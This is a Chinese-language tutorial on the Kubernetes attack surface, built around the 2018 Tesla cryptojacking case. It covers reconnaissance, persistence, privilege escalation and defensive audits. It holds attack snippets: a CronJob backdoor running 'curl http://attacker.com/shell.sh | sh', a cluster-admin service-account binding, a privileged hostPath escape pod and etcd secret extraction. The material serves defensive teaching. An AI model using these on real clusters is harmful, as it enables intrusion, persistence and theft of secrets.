Kubernetes 攻击面分析#

2018 年，一个名为 Tesla 的公司发现他们的 Kubernetes 集群正在被用于挖矿。但这不是普通的挖矿攻击——攻击者通过一个配置错误的 Kubernetes Dashboard 获得了集群管理员权限，然后部署了自己的容器，同时在多个节点上运行挖矿程序。

更令人震惊的是调查发现：攻击者早在被发现的数周前就已经获得了权限，在此期间他们进行了大量侦察活动，包括扫描集群中的敏感数据。整个攻击过程中，Tesla 的安全系统没有产生任何告警。

这个案例揭示了 Kubernetes 安全中最残酷的事实：攻击面无处不在，而大多数攻击在早期阶段静默进行，直到造成实质破坏才会被发现。

#K8s 攻击面的全景图

Kubernetes 架构引入了多个新的攻击面：

flowchart TB
    subgraph "Kubernetes 控制平面"
        A[API Server] --> B[etcd]
        A --> C[Controller Manager]
        A --> D[Scheduler]
        A --> E[Kubelet]
    end
    
    subgraph "工作负载层"
        F[Pod A] --> G[Pod B]
        G --> H[Pod C]
        H --> I[Node 1]
        I --> J[Node 2]
    end
    
    subgraph "攻击向量"
        K[Dashboard] --> A
        L[Kubectl Proxy] --> A
        M[RBAC Misconfig] --> A
        N[容器逃逸] --> I
        O[供应链攻击] --> F
    end
    
    K -.->|"未授权访问"| L
    M -.->|"提权攻击"| A
    N -.->|"横向移动"| J

#攻击面分类

#攻击阶段：完整的攻击链

#第一阶段：侦察（Reconnaissance）

攻击者首先收集集群信息。

公开信息收集：

• Kubernetes Dashboard 未授权访问
• Kubelet API 公开暴露
• Kubernetes 端口扫描（6443、8080）

集群内部侦察：

# 列出所有命名空间
kubectl get namespaces

# 列出所有 Pod（包含敏感标签）
kubectl get pods -A

# 检查服务账号令牌
kubectl get serviceaccounts -A

# 列出所有 Secret
kubectl get secrets -A

#第二阶段：初始访问（Initial Access）

获取集群的第一个 foothold。

常见入口：

• 配置错误的 Dashboard
• 泄露的 kubectl 配置
• 容器漏洞
• 供应链攻击
• 钓鱼获取开发者凭证

Tesla 案例入口：配置错误的 Kubernetes Dashboard，启用了 Heapster 且未配置认证。

#第三阶段：执行（Execution）

在集群中执行代码。

容器内执行：

kubectl exec -it <pod-name> -- /bin/sh

# 或者通过不安全的容器运行时
docker exec <container-id> /bin/sh

创建新的恶意 Pod：

apiVersion: v1
kind: Pod
metadata:
  name: crypto-miner
  namespace: kube-system
spec:
  containers:
    - name: miner
      image: crypto-miner:latest
      resources:
        limits:
          cpu: "2"
          memory: 2Gi

#第四阶段：持久化（Persistence）

建��持久化访问通道。

ServiceAccount Token：

kubectl create serviceaccount attacker
kubectl create clusterrolebinding attacker --clusterrole=cluster-admin --serviceaccount=default:attacker
# Token 可用于后续访问

CronJob 后门：

apiVersion: batch/v1
kind: CronJob
metadata:
  name: backdoor
  namespace: default
spec:
  schedule: "0 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
            - name: backdoor
              image: attacker:latest
              command: ["/bin/sh", "-c", "curl http://attacker.com/shell.sh | sh"]
          restartPolicy: OnFailure

#第五阶段：横向移动（Lateral Movement）

从当前 Pod 扩展到其他 Pod 或节点。

RBAC 提权攻击：

# 检查当前用户的权限
kubectl auth can-i --list

# 寻找可以创建特权 Pod 的角色
kubectl get rolebindings,clusterrolebindings -A -o wide | grep -i "pod/create"

# 寻找可以绑定更高权限的角色
kubectl auth can-i create clusterrolebindings

容器逃逸：

• 特权 Pod 挂载宿主机
• HostPath 卷访问宿主机文件系统
• 共享宿主 PID 命名空间
• 内核漏洞利用

#第六阶段：影响（Impact）

造成实质性破坏。

• 数据窃取（拖库）
• 资源滥用（挖矿）
• 服务中断（DoS）
• 供应链污染（篡改容器镜像）

#常见攻击向量详解

#Kubectl 代理的风险

# 默认配置下，kubectl proxy 允许未授权访问
kubectl proxy --port=8001

# 这会创建一个暴露所有 API 的代理
# 攻击者可以通过 http://localhost:8001/api/v1/secrets 访问 Secret

#Dashboard 未授权访问

Kubernetes Dashboard 在某些版本中默认配置不安全：

# 旧版 Dashboard 默认配置
args:
  - --authentication-mode=token
  - --enable-skip-login=true
  - --auto-generate-login-tokens=true

风险：任何能访问 Dashboard 的人可以获得完整集群访问权限。

#ETCD 数据泄露

etcd 存储了集群的所有数据，包括 Secret。

# 如果 etcd 直接暴露
etcdctl --endpoints=https://127.0.0.1:2379 \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets/production/db-credentials

#RBAC 提权攻击

攻击者利用 RBAC 配置错误获取更高权限。

# 用户只有创建 Pod 的权限
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: pod-creator
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["create"]

# 攻击者创建特权 Pod
apiVersion: v1
kind: Pod
metadata:
  name: privesc
spec:
  hostPID: true
  hostNetwork: true
  containers:
    - name: attacker
      image: attacker:latest
      securityContext:
        privileged: true
      volumeMounts:
        - name: rootfs
          mountPath: /host
  volumes:
    - name: rootfs
      hostPath:
        path: /

#真实攻击案例：Tesla Kubernetes 挖矿事件

#事件概述

2018 年，Tesla 的 Kubernetes 集群被用于加密货币挖矿攻击。攻击者通过配置错误的 Kubernetes Dashboard 获得了集群访问权限。

#攻击链分析

flowchart TB
    A[配置错误的 Dashboard] --> B[匿名访问 Dashboard]
    B --> C[查看集群配置]
    C --> D[获取云服务商凭证]
    D --> E[创建挖矿 Pod]
    E --> F[部署到多个节点]
    F --> G[挖矿盈利]
    
    style A fill:#ffcdd2
    style G fill:#ffcdd2

#教训总结

1. Dashboard 安全配置：禁止匿名访问，启用 RBAC 认证
2. 最小权限原则：Dashboard 不应该拥有集群管理员权限
3. 网络隔离：Dashboard 不应该公开暴露到公网
4. 监控告警：挖矿行为应该有明显特征，告警应该及时触发

#攻击面评估方法

#自动化扫描工具

# 安装 kube-hunter
pip install kube-hunter

# 运行扫描
kube-hunter --pod  # 从 Pod 内部扫描
kube-hunter --remote <kube-apiserver-ip>  # 远程扫描

# 生成报告
kube-hunter --report json > report.json

#手动评估清单

#RBAC 权限审计

# 列出所有可以创建 Pod 的 ServiceAccount
kubectl get clusterrolebinding -A -o json | \
  jq '.items[] | select(.roleRef.name == "cluster-admin" or .roleRef.name == "admin") | .subjects[]'

# 检查可以绑定 cluster-admin 的角色
kubectl auth can-i create clusterrolebindings --as=system:serviceaccount:default:sa-name

#总结与延伸思考

Kubernetes 攻击面分析的目的是识别可能被利用的弱点。关键原则是：

最小暴露：只暴露必要的组件和服务，隐藏内部细节。

多层防御：即使一层被突破，其他层也应该能够检测和阻止。

持续监控：攻击通常在早期静默进行，持续监控是唯一有效的检测手段。

快速响应：建立明确的事件响应流程，确保发现攻击后能够快速遏制。

#思考题

问题 1：为什么说「攻击者获取第一个 foothold 只是开始」？

问题 2：如何建立一个有效的 Kubernetes 攻击面评估流程？